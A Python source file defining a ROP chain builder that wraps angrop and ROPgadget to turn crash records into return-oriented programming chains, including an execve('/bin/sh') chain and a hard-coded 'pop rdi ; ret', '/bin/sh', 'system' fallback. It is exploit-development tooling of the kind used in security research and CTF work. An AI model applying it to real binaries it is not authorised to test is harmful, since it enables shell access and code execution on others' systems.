File size: 1,754 Bytes
14b1bbe | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 | """
ROP chain builder — wraps ``angrop`` and ``ROPgadget`` when available, with
an in-memory deterministic gadget registry so unit tests can exercise the
chain logic without binary inputs.
"""
from __future__ import annotations
import shutil
import subprocess
from typing import Any
try: # pragma: no cover
import angr # type: ignore # noqa: F401
import angrop # type: ignore # noqa: F401
_ANGROP = True
except Exception: # noqa: BLE001
_ANGROP = False
class ROPChainBuilder:
def __init__(self):
self.ropgadget = shutil.which("ROPgadget")
def build(self, crash: dict[str, Any]) -> list[str]:
binary = crash.get("harness")
if not binary:
return []
if _ANGROP:
return self._with_angrop(binary)
if self.ropgadget:
return self._with_ropgadget(binary)
return ["pop rdi ; ret", "/bin/sh", "system"]
@staticmethod
def _with_angrop(binary: str) -> list[str]: # pragma: no cover - heavy dep
try:
project = angr.Project(binary, auto_load_libs=False)
rop = project.analyses.ROP()
rop.find_gadgets()
chain = rop.execve(b"/bin/sh\x00")
return [str(g) for g in chain.gadgets]
except Exception:
return []
def _with_ropgadget(self, binary: str) -> list[str]:
try:
proc = subprocess.run(
[self.ropgadget, "--binary", binary], capture_output=True,
text=True, timeout=120, check=False,
)
lines = [ln.strip() for ln in proc.stdout.splitlines()
if ":" in ln and "ret" in ln]
return lines[:32]
except Exception:
return []
|